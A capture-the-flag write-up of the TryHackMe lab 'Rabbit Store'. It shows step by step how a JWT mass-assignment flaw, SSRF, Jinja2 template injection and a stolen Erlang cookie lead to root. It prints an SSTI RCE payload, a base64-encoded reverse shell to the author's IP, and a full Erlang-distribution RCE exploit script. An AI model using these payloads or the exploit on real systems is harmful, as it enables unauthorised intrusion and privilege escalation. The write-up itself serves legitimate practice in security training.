☕
Writeups
TryHackMeHackTheBoxReferralsDonateLinkedIn
  • Writeups
  • TryHackme
    • 2025
      • Security Footage
      • Ledger
      • Moebius
      • Mayhem
      • Robots
      • Billing
      • Crypto Failures
      • Rabbit Store
      • Decryptify
      • You Got Mail
      • Smol
      • Light
      • Lo-Fi
      • Silver Platter
    • 2024
      • Advent of Cyber '24 Side Quest
        • T1: Operation Tiny Frostbite
        • T2: Yin and Yang
        • T3: Escaping the Blizzard
        • T4: Krampus Festival
        • T5: An Avalanche of Web Apps
      • The Sticker Shop
      • Lookup
      • Mouse Trap
      • Hack Back
      • SeeTwo
      • Whiterose
      • Rabbit Hole
      • Mountaineer
      • Extracted
      • Backtrack
      • Brains
      • Pyrat
      • K2
        • Base Camp
        • Middle Camp
        • The Summit
      • The London Bridge
      • Cheese CTF
      • Breakme
      • CERTain Doom
      • TryPwnMe One
      • Hammer
      • U.A. High School
      • IronShade
      • Block
      • Injectics
      • DX2: Hell's Kitchen
      • New York Flankees
      • NanoCherryCTF
      • Publisher
      • W1seGuy
      • mKingdom
      • Airplane
      • Include
      • CyberLens
      • Profiles
      • Whats Your Name?
      • Capture Returns
      • TryHack3M
        • TryHack3M: Burg3r Bytes
        • TryHack3M: Bricks Heist
        • TryHack3M: Sch3Ma D3Mon
        • TryHack3M: Subscribe
      • Creative
      • Bypass
      • Clocky
      • El Bandito
      • Hack Smarter Security
      • Summit
      • Chrome
      • Exfilibur
      • Breaking RSA
      • Kitty
      • Reset
      • Umbrella
      • WhyHackMe
      • Dodge
    • 2023
      • Advent of Cyber '23 Side Quest
        • The Return of the Yeti
        • Snowy ARMageddon
        • Frosteau Busy with Vim
        • The Bandit Surfer
      • Stealth
      • AVenger
      • Dreaming
      • DockMagic
      • Hijack
      • Bandit
      • Compiled
      • Super Secret TIp
      • Athena
      • Mother's Secret
      • Expose
      • Lesson learned?
      • Grep
      • Crylo
      • Forgotten Implant
      • Red
    • Obscure
    • Capture
    • Prioritise
    • Weasel
    • Valley
    • Race Conditions
    • Intranet
    • Flip
    • Cat Pictures 2
    • Red Team Capstone Challenge
      • OSINT
      • Perimeter Breach
      • Initial Compromise of Active Directory
      • Full Compromise of CORP Domain
      • Full Compromise of Parent Domain
      • Full Compromise of BANK Domain
      • Compromise of SWIFT and Payment Transfer
  • HackTheBox
    • 2025
      • Certified
    • 2024
      • BoardLight
      • Crafty
      • Devvortex
      • Surveillance
      • Codify
      • Manager
      • Drive
      • Zipping
    • 2023
      • Topology
Powered by GitBook
On this page
  • Recon
  • Privileged Web Access
  • API Docs via SSRF
  • SSTI to RCE
  • Shell as azrael
  • Shell as rabbitmq
  • Shell as root

Was this helpful?

  1. TryHackme
  2. 2025

Rabbit Store

Demonstrate your web application testing skills and the basics of Linux to escalate your privileges. - by iklak

PreviousCrypto FailuresNextDecryptify

Last updated 2 months ago

Was this helpful?

The following post by 0xb0b is licensed under


Recon

We start with a Nmap scan and find four open ports, including port 22 SSH, 80 a web server, 4369 Erlang Port Mapper Daemon, 25672 RabbitMQ.

From our service and script scan we directly find out the domain of the webserver:

http://cloudsite.thm/

We add this in our /etc/hosts and visit the page. We find a static page with a login.

Since we have a domain given, we use FFuF to search for subdomains and find storage.cloudsite.thm and add it to our /etc/hosts file.

ffuf -w /usr/share/wordlists/SecLists/Discovery/DNS/subdomains-top1million-110000.txt -u http://cloudsite.thm/ -H "Host:FUZZ.cloudsite.thm" -fw 18

If we had tried to log in, we would have noticed the subdomain. We click on Signup and create an account.

After we have logged in with our created account, we see that the services are only available for internal users and our newly created account has to be activated by an administrator.

Privileged Web Access

We find a jwt token in our cookies.

We inspect the token using jwt.io and see that the subscription is also defined in it. Unfortunately, changing the token does not help, as the signature would no longer be valid.

We go back one step and create another account and inspect the request using Burp Suite. We see that email and password are transmitted in plain text in JSON.

We simply add the attribute "subscription": "active" in the hope that this will be taken into account when the token is created and that we have a JWT token forgery vulnerability in front of us.

After we have created the account, we log in and inspect the token. The set attribute of the subscription has indeed been taken into account.

We are now able to use the services. Including a file upload.

However, this does not appear to be vulnerable...

API Docs via SSRF

We noticed the /api/ path during registration and are looking for further API endpoints. We enumerate these using FFuF. Here we find /api/docs, among others. Perhaps there are others that we cannot find with our wordlist.

ffuf -w /usr/share/wordlists/dirb/big.txt -u 'http://storage.cloudsite.thm/api/FUZZ'

Unfortunately, we do not have access to these.

http://storage.cloudsite.thm/api/docs

If we scroll down a little further we also find an upload via URL. Server side request forgery could be possible here. And perhaps we could then use it to call up http://storage.cloudsite.thm/api/docs.

Firstly, we test it with our web server.

And see the request made.

Next we try to access the /api/docs endpoint locally on port 80:

http://127.0.0.1:80/api/docs

We receive an upload path. But port 80 does not seem to be the API endpoint.

http://storage.cloudsite.thm/api/uploads/d7d3e2ef-3e5a-41ca-accf-ec32e184dc53

We use a script to find more services on other ports on localhost. To do this, we simply check whether the requested service gives us a download link.

enum-services.py
import requests

# Base URL and endpoint
base_url = "http://storage.cloudsite.thm/api/store-url"

# Headers
headers = {
    "Cookie": "jwt=REDACTED",
    "Content-Type": "application/json"
}

# Function to make POST request to a specific port
def make_request(port):
    # URL to test
    test_url = f"http://127.0.0.1:{port}"
    data = {"url": test_url}

    try:
        # Make the POST request
        response = requests.post(base_url, headers=headers, json=data)

        # Check if the response contains a non-empty "path"
        if response.status_code == 200:
            json_response = response.json()
            if "path" in json_response and json_response["path"]:
                print(f"Port: {port}, Path: {json_response['path']}")
    except requests.RequestException as e:
        # Handle potential request errors
        print(f"Error on port {port}: {e}")

# Iterate over a range of ports (1 to 65535)
for port in range(1, 65536):
    make_request(port)

And there is another service running on port 3000.

We make a request for http://127.0.0.1:3000/api/docs...

... And we recieve the documentation with the endpoint /api/fetch_messeges_from_chatbot, which is still under development.

http://storage.cloudsite.thm/api/uploads/bcfca7b1-6e8f-49e0-90f7-3db09676f79f
Endpoints Perfectly Completed

POST Requests:
/api/register - For registering user
/api/login - For loggin in the user
/api/upload - For uploading files
/api/store-url - For uploadion files via url
/api/fetch_messeges_from_chatbot - Currently, the chatbot is under development. Once development is complete, it will be used in the future.

GET Requests:
/api/uploads/filename - To view the uploaded files
/dashboard/inactive - Dashboard for inactive user
/dashboard/active - Dashboard for active user

Note: All requests to this endpoint are sent in JSON format.

SSTI to RCE

We try to make a request, but GET methods are not allowed.

We capture our GET request using Burp Suite...

... and change it to a POST request using Burp. We get a message, that the token is required, we removed.

We add the token, and a username parameter is required.

Since the error message is JSON, and we know the format from the login as JSON, we also provide the username in JSON. Our username gets reflected.

We simply test for Server Side Template Injection (SSTI) and it gets evaluated.

We use a payload from Ingo Kleiber to test for RCE on Flask (Jinja2) SSTI and are successful.

{{request.application.__globals__.__builtins__.__import__('os').popen('id').read()}}

Shell as azrael

Since we have RCE through SSTI, we prepare a reverse shell using revshells.com.

revshells.com

Next, we prepare our SSTI payload, set up a listener on our desired port and submit the request.

{{request.application.__globals__.__builtins__.__import__('os').popen('id').read()}}
{{request.application.__globals__.__builtins__.__import__('os').popen('echo L2Jpbi9iYXNoIC1pID4mIC9kZXYvdGNwLzEwLjE0LjkwLjIzNS80NDQ1IDA+JjE=|base64 -d|bash').read()}}

We get a connection back, and are the user azrael. We upgrade our shell.

The user flag can be found in the home directory of azrael.

Shell as rabbitmq

On enumerating the target we also use pspy. It is a command line tool designed to snoop on processes without need for root permissions.

We download and execute the tool.

And there is something going on using Erlang and RabbitMQ. We recall the Nmap scan with the results on 4369 Erlang Port Mapper Daemon, 25672 RabbitMQ.

2024/09/18 17:37:23 CMD: UID=124   PID=28610  | sh -c exec /bin/sh -s unix:cmd 
2024/09/18 17:37:23 CMD: UID=124   PID=28611  | /usr/bin/df -kP /var/lib/rabbitmq/mnesia/rabbit@forge 
2024/09/18 17:37:33 CMD: UID=124   PID=28612  | sh -c exec /bin/sh -s unix:cmd 
2024/09/18 17:37:33 CMD: UID=124   PID=28613  | /bin/sh -s unix:cmd 
2024/09/18 17:37:43 CMD: UID=124   PID=28614  | sh -c exec /bin/sh -s unix:cmd 
2024/09/18 17:37:43 CMD: UID=124   PID=28615  | 
2024/09/18 17:37:53 CMD: UID=124   PID=28616  | /bin/sh -s unix:cmd 
2024/09/18 17:37:53 CMD: UID=124   PID=28617  | /bin/sh -s unix:cmd 
2024/09/18 17:38:03 CMD: UID=124   PID=28618  | sh -c exec /bin/sh -s unix:cmd 
2024/09/18 17:38:03 CMD: UID=124   PID=28619  | /bin/sh -s unix:cmd 
2024/09/18 17:38:13 CMD: UID=124   PID=28620  | sh -c exec /bin/sh -s unix:cmd 
2024/09/18 17:38:13 CMD: UID=124   PID=28621  | /bin/sh -s unix:cmd 
2024/09/18 17:38:17 CMD: UID=124   PID=28622  | /bin/sh /usr/lib/erlang/bin/erl -boot no_dot_erlang -sname epmd-starter-306439827 -noinput -s erlang halt 
2024/09/18 17:38:17 CMD: UID=124   PID=28624  | /bin/sh /usr/lib/erlang/bin/erl -boot no_dot_erlang -sname epmd-starter-306439827 -noinput -s erlang halt 
2024/09/18 17:38:17 CMD: UID=124   PID=28623  | /bin/sh /usr/lib/erlang/bin/erl -boot no_dot_erlang -sname epmd-starter-306439827 -noinput -s erlang halt 
2024/09/18 17:38:17 CMD: UID=124   PID=28625  | sed s/.*\/// 
2024/09/18 17:38:17 CMD: UID=124   PID=28626  | /usr/lib/erlang/erts-12.2.1/bin/erlexec -boot no_dot_erlang -sname epmd-starter-306439827 -noinput -s erlang halt 
2024/09/18 17:38:17 CMD: UID=124   PID=28627  | /usr/lib/erlang/erts-12.2.1/bin/epmd -daemon 
2024/09/18 17:38:17 CMD: UID=124   PID=28628  | /usr/lib/erlang/erts-12.2.1/bin/epmd -daemon 
2024/09/18 17:38:17 CMD: UID=124   PID=28629  | /usr/lib/erlang/erts-12.2.1/bin/epmd -daemon 
2024/09/18 17:38:17 CMD: UID=124   PID=28633  | /usr/lib/erlang/erts-12.2.1/bin/beam.smp -- -root /usr/lib/erlang -progname erl -- -home /var/lib/rabbitmq -- -boot no_dot_erlang -sname epmd-starter-306439827 -noshell -noinput -s erlang halt                                                                                                              
2024/09/18 17:38:18 CMD: UID=124   PID=28650  | sh -c exec inet_gethost 4  
2024/09/18 17:38:18 CMD: UID=124   PID=28651  | inet_gethost 4 
2024/09/18 17:38:23 CMD: UID=124   PID=28652  | sh -c exec /bin/sh -s unix:cmd 
2024/09/18 17:38:33 CMD: UID=124   PID=28654  | sh -c exec /bin/sh -s unix:cmd 
2024/09/18 17:38:33 CMD: UID=124   PID=28655  | /bin/sh -s unix:cmd 
2024/09/18 17:38:43 CMD: UID=124   PID=28656  | sh -c exec /bin/sh -s unix:cmd 

If we ask ChatGPT about the output we get some more information. It might be related to RabbitMQ and Erlang. RabbitMQ is an open-source message broker that enables applications to communicate using a queue-based messaging system, supporting multiple protocols like AMQP. It is used for distributed systems, event-driven architectures, and microservices to decouple and scale workloads efficiently.

ChatGPT:

This log appears to represent a series of shell commands being executed by the user with UID 124, involving RabbitMQ and the Erlang environment, specifically invoking various Unix shell commands. The frequent appearance of sh -c exec /bin/sh -s unix:cmd suggests the use of shell scripts or commands being run in response to Unix system-level interactions.

Several commands reference Erlang's epmd (Erlang Port Mapper Daemon), which indicates that RabbitMQ (built on top of Erlang) is likely being managed or configured. The sequence where Erlang's beam.smp and epmd are invoked points to RabbitMQ processes being started, stopped, or checked. Additionally, these may involve DNS queries or hostname resolution (inet_gethost commands).

This log suggests the orchestration of processes related to RabbitMQ and possibly diagnostics or system administration tasks within an environment relying heavily on Erlang.

If you’re analyzing this for potential security or performance issues, I’d suggest investigating why multiple sh shells are being spawned and what commands are being passed to the Unix shell to ensure there is no unintended behavior or vulnerability exploitation. Is this part of your current challenge or a live environment

A look into the /etc/passwd file confirms, that there is the user rabbitmq.

At /var/lib/rabbitmq/ we can find an erlang cookie.

This cookie might enable us to get RCE via Erlang.

The following repository contains several exploits regarding Erlang with RabbitMQ. One of which would allow us RCE: shell-erldp.py.

But we receive errors on running the exploit.

For a fix we use ChatGPT to add verbose debugging and error handling:

shell-erldp2.py
#!/usr/bin/env python2

from struct import pack, unpack
from cStringIO import StringIO
from socket import socket, AF_INET, SOCK_STREAM, SHUT_RDWR
from hashlib import md5
from binascii import hexlify, unhexlify
from random import choice
from string import ascii_uppercase
import sys
import argparse
import erlang as erl

def rand_id(n=6):
  return ''.join([choice(ascii_uppercase) for c in range(n)]) + '@nowhere'

parser = argparse.ArgumentParser(description='Execute shell command through Erlang distribution protocol')

parser.add_argument('target', action='store', type=str, help='Erlang node address or FQDN')
parser.add_argument('port', action='store', type=int, help='Erlang node TCP port')
parser.add_argument('cookie', action='store', type=str, help='Erlang cookie')
parser.add_argument('--verbose', action='store_true', help='Output decode Erlang binary term format received')
parser.add_argument('--challenge', type=int, default=0, help='Set client challenge value')
parser.add_argument('cmd', default=None, nargs='?', action='store', type=str, help='Shell command to execute, defaults to interactive shell')

args = parser.parse_args()

name = rand_id()

sock = socket(AF_INET, SOCK_STREAM, 0)
assert(sock)

sock.connect((args.target, args.port))

def send_name(name):
  FLAGS = (
    0x7499c +
    0x01000600 # HANDSHAKE_23|BIT_BINARIES|EXPORT_PTR_TAG
  )
  return pack('!HcQIH', 15 + len(name), 'N', FLAGS, 0xdeadbeef, len(name)) + name

sock.sendall(send_name(name))

data = sock.recv(5)
assert(data == '\x00\x03\x73\x6f\x6b')

data = sock.recv(4096)
(length, tag, flags, challenge, creation, nlen) = unpack('!HcQIIH', data[:21])
assert(tag == 'N')
assert(nlen + 19 == length)
challenge = '%u' % challenge

def send_challenge_reply(cookie, challenge):
  m = md5()
  m.update(cookie)
  m.update(challenge)
  response = m.digest()
  return pack('!HcI', len(response)+5, 'r', args.challenge) + response

sock.sendall(send_challenge_reply(args.cookie, challenge))


data = sock.recv(3)
if len(data) == 0:
  print('wrong cookie, auth unsuccessful')
  sys.exit(1)
else:
  assert(data == '\x00\x11\x61')
  digest = sock.recv(16)
  assert(len(digest) == 16)

print('[*] authenticated onto victim')


# Protocol between connected nodes is based on pre 5.7.2 format
def erl_dist_recv(f):
  hdr = f.recv(4)
  if len(hdr) != 4: return
  (length,) = unpack('!I', hdr)
  data = f.recv(length)
  if len(data) != length: return

  # Remove 0x70 from the head of the stream
  data = data[1:]

  print("Received data to parse: %s" % data)  # Logging the raw data

  while data:
    try:
      (parsed, term) = erl.binary_to_term(data)
      if parsed <= 0:
        print('Failed to parse Erlang term, raw data: %s' % data)
        break
    except erl.ParseException as e:
      print('ParseException occurred: %s. Data: %s' % (str(e), data))
      break

    print("Parsed term: %s" % str(term))  # Log parsed term for debugging

    yield term
    data = data[parsed:]


def encode_string(name, type=0x64):
  return pack('!BH', type, len(name)) + name

def send_cmd_old(name, cmd):
  data = (unhexlify('70836804610667') + 
    encode_string(name) + 
    unhexlify('0000000300000000006400006400037265') +
    unhexlify('7883680267') + 
    encode_string(name) + 
    unhexlify('0000000300000000006805') +
    encode_string('call') +
    encode_string('os') +
    encode_string('cmd') +
    unhexlify('6c00000001') + 
    encode_string(cmd, 0x6b) + 
    unhexlify('6a') + 
    encode_string('user'))

  return pack('!I', len(data)) + data


def send_cmd(name, cmd):
  # REG_SEND control message
  ctrl_msg = (6,
    erl.OtpErlangPid(erl.OtpErlangAtom(name), '\x00\x00\x00\x03', '\x00\x00\x00\x00', '\x00'),
    erl.OtpErlangAtom(''),
    erl.OtpErlangAtom('rex'))
  msg = (
    erl.OtpErlangPid(erl.OtpErlangAtom(name), '\x00\x00\x00\x03', '\x00\x00\x00\x00', '\x00'),
    (
      erl.OtpErlangAtom('call'),
      erl.OtpErlangAtom('os'),
      erl.OtpErlangAtom('cmd'),
      [cmd],
      erl.OtpErlangAtom('user')
    ))

  new_data = '\x70' + erl.term_to_binary(ctrl_msg) + erl.term_to_binary(msg)

  print("Sending command data: %s" % new_data)  # Log the command being sent

  return pack('!I', len(new_data)) + new_data

def recv_reply(f):
  terms = [t for t in erl_dist_recv(f)]
  if args.verbose:
    print('\nReceived terms: %r' % (terms))

  if len(terms) < 2:
    print("Error: Unexpected number of terms received")
    return None

  answer = terms[1]
  if len(answer) != 2:
    print("Error: Unexpected structure in answer")
    return None

  return answer[1]


if not args.cmd:
  while True:
    try:
      cmd = raw_input('%s:%d $ ' % (args.target, args.port))
    except EOFError:
      print('')
      break

    sock.sendall(send_cmd(name, cmd))

    reply = recv_reply(sock)
    if reply:
      sys.stdout.write(reply)
    else:
      print("Failed to receive a valid reply")

else:
  sock.sendall(send_cmd(name, args.cmd))

  reply = recv_reply(sock)
  if reply:
    sys.stdout.write(reply)
  else:
    print("Failed to receive a valid reply")


print('[*] disconnecting from victim')
sock.close()

We use the our customized shell-erldp2.py and are able to get an instable shell.

python2 shell-erldp2.py rabbitstore.thm 25672 REDACTED

Next, we prepare a reverse shell payload using revshells.com.

We set up a listener and issue the command to get a reverse shell.

python2 shell-erldp2.py rabbitstore.thm 25672 REDACTED 'echo L2Jpbi9iYXNoIC1pID4mIC9kZXYvdGNwLzEwLjE0LjkwLjIzNS80NDQ2IDA+JjE= | base64 -d | bash'

We get a connection back and are the user rabbitmq.

Shell as root

Since we are now the rabbitmq user, we could issue RabbitMQ commands with rabbitmqctl. One of the ideas could be to retrieve the users and passwords to check if they are reused. But we get an error. The .erlang.cookie is not only owned by the owner itself. With that issue we are not able to execute rabbitmqctl commands.

Nevertheless, we can view the rabbit_user.DCD. This file is part of the RabbitMQ database. There is a message indicating that the root user's password is the same as the SHA-256 hash of the RabbitMQ root user's password.

Alternatively, we can also correct the permissions of the Erlang cookie, which will be necessary for later use.

When reading up on how RabbitMQ works, we find the rabbit definitions that we can export as admin. Those include the password_hash mentiond in the users file. The idea now is to create an admin user and get the definitions with this user.

Since we have already corrected the authorizations for the Erlang cookie, we can create the user and export the definitions.

rabbitmqctl add_user 0xb0b 0xb0b 
rabbitmqctl set_permissions -p / 0xb0b ".*" ".*" ".*"
rabbitmqctl set_user_tags 0xb0b administrator
rabbitmqadmin export rabbit.definitions.json -u 0xb0b -p 0xb0b 

In these we find the hash for the root user.

The following gist shows us how the rabbit password hash is composed.

We only need to decode this base64. Since we only need the SHA-256 hash.

decode-hash.py
import hashlib
import binascii

hash = 'REDACTED'
def decode_rabbit_password_hash(password_hash):
    password_hash = binascii.a2b_base64(password_hash)
    decoded_hash = password_hash.hex()
    return decoded_hash[0:8], decoded_hash[8:]
print(decode_rabbit_password_hash(hash))

We decode the hash...

... and use that hash to switch user to root and find the final flag in the root's home directory.

CC BY 4.0
Rabbit StoreTryHackMe
A Simple Flask (Jinja2) Server-Side Template Injection (SSTI) Examplekleiber.me - Ingo Kleiber
Upgrade Simple Shells to Fully Interactive TTYs
GitHub - DominicBreuker/pspy: Monitor linux processes without root permissionsGitHub
Logo
4369 - Pentesting Erlang Port Mapper Daemon (epmd) - HackTricks
Logo
GitHub - gteissier/erl-matter: Erlang distribution weaknesses and toolingGitHub
Schema Definition Export and Import | RabbitMQ
Logo
Logo
Logo
Logo